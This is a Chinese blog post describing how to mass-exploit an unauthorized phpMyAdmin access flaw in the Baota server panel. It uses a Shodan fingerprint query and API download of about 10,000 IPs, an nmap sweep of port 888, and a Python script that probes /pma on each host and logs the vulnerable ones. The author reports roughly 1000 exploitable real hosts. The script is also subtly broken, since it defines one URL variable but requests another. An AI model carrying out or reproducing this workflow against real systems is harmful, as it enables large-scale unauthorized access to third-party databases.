从宝塔未授权访问看批量刷洞思路

     分类: 个人笔记,网络安全 发布时间: 2020-08-24 14:37 3,364人浏览

昨天爆出来宝塔存在个未授权访问漏洞,影响版本:
宝塔 linux 面板 7.4.2
宝塔 windows 面板 6.8

而且利用方式极其简单,exp一句话搞定:

http://安装了宝塔的IP:888/pma

访问截图如下:
从宝塔未授权访问看批量刷洞思路插图

利用方式很简单,简单到甚至毫无技术含量。但是怎么样去找到存在漏洞的主机,还是需要琢磨一下的。也借此机会锻炼下自己的快速反应能力。以下思路参考,希望抛砖引玉。

一、漏洞复现

在爆出漏洞之后,一开始实际上抱有的是怀疑态度。因为就自己使用宝塔靶机的经验来看,默认开放的是8888端口,在宝塔安全策略中也不存在默认开放888端口的。但后来发现888端口还是真开放的,默认访问进去是nginx的403页面。在复现的过程中,发现返回了404。确认过版本是没有问题的,根据之后的判断情况来看,只能猜测是因为没有安装phpmyadmin引起的了。
所幸群友及时相助,发了一个可成功利用的URL过来。这才确定这个漏洞的利用方式,以及成功与否的判断条件。

二、信息收集

既然漏洞利用方式已经清楚,下一步就是寻找宝塔。首先想到的必然是shodan、fofa、zoomeye等信息收集常用的搜索引擎。考虑到自己有一个shodan的会员,还是利用shodan进行信息收集。
首先需要确定的是宝塔的特征。目前只知道宝塔默认开放8888端口,且根据以往的渗透经验来看,直接访问8888端口会返回一个错误信息,说明需要输入正确的登陆入口。从这个思路入手,搜索shodan:
port:"8888" country:"CN"
从宝塔未授权访问看批量刷洞思路插图1
很快就发现宝塔的入口了。观察规律,发现宝塔页面会返回一个BT_PANEL_6的cookie。
添加我们发现的宝塔特征,重新搜索,发现有17w条结果
port:"8888" country:"CN" BT_PANEL_6
从宝塔未授权访问看批量刷洞思路插图2
一个个点开看是肯定不现实的,这时候可以用到shodan的API。
直接用python的pip安装shodan库
pip install shodan
输入api

shodan init 自己的API

批量获取数据,需要搜索的语句加在后面即可。

shodan download result port:"8888" country:"CN" BT_PANEL_6 --limit 10000

limit参数可以控制下载条数,但需要注意的是,即使有1美元会员也只能有1w条左右,之后要氪金

将结果转化为excel:

shodan convert result.json.gz xlsx

这样就能初步筛选出存在宝塔的IP了
从宝塔未授权访问看批量刷洞思路插图3

三、数据筛选

上一步获得的仅是开放宝塔管理端口8888的IP信息,但漏洞相关的端口888没有与之关联起来,下一步的思路就是在这批IP中筛选出开放888端口的IP。因为只有一个端口,所以思路也很简单:NMAP跑就完了。

nmap -iL baota.txt -p 888 -oX result.xml

我这里使用的是导出xml之后再把端口为open的数据提取出来,个人用的是xpath,但说实话其实不是很方便,如果有更好的方法就好了。
过一遍nmap,可以看得出IP是少多了,筛掉了一半多。
从宝塔未授权访问看批量刷洞思路插图4

四、批量测试

接下来咱们终于要下手了。因为这次漏洞很简单,所以POC也不难,网传出了一份如下:

import requests
url_test = ''
bug = '/pma'
url = url_test + bug
r = requests.get(url)

zt = r.status_code
if zt == 200:
    r_bianma = r.content
    r_doc = str(r_bianma,'utf-8')
    demo = '常规设置'
    good = demo in r_doc
    if good == True:
        print('漏洞存在')
    else:
        print('漏洞不存在')
else:
    print('返回状态码不等于:' + zt)

接下来就需要一点POC编写技巧了,虽然说是POC编写,实际上非常简单。
上面给的POC虽然基本思路没错,但是在判断漏洞存在逻辑=上存在一个很严重的问题:
从宝塔未授权访问看批量刷洞思路插图
聪明的小伙伴们看出来了吗?POC中的判断条件是,如果页面中存在“常规设置”字眼,则漏洞存在,但实际上,大多数的phpmyadmin都是英文!为此需要对判断条件进行修改,这里根据phpmyadmin的报错页面,直接对返回页面的长度进行判断,顺便加上一个for循环(不完整,但补全并不难):

i = 1
for url in f.readlines():
    bug = ':888/pma'
    print(i)
    i = i+1
    urlA = 'http://'  + url.strip().replace("\r", "").replace("\n", "").replace("\t", "") + bug
    w = open("result_check.txt", "a+")
    try:
        r = requests.get(urlB,headers=header,timeout=(3,7))
        zt = r.status_code
        if zt == 200:
            r_bianma = r.content
            if len(r_bianma) > 10000:
                print('漏洞存在')
                w.write(str(urlB + '\r\n'))
            else:
                print('漏洞不存在')
        else:
            print('返回状态码不等于:' + zt)
        w.close()
    except:
        print("ERROR")
        w.close()
        continue
f.close()

从宝塔未授权访问看批量刷洞思路插图5
从宝塔未授权访问看批量刷洞思路插图6
批量漏洞get(仍然有1000条左右的记录,证明机会还是大大的有啊)


参考链接:
Shodan API使用指南
How to Download Data with the API


上一篇文章:

一条评论
  • Pika

    2021年2月20日 上午10:42

    赶紧看了一下自己的版号,啊还好是已经更新了,不然默默成为肉鸡了

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注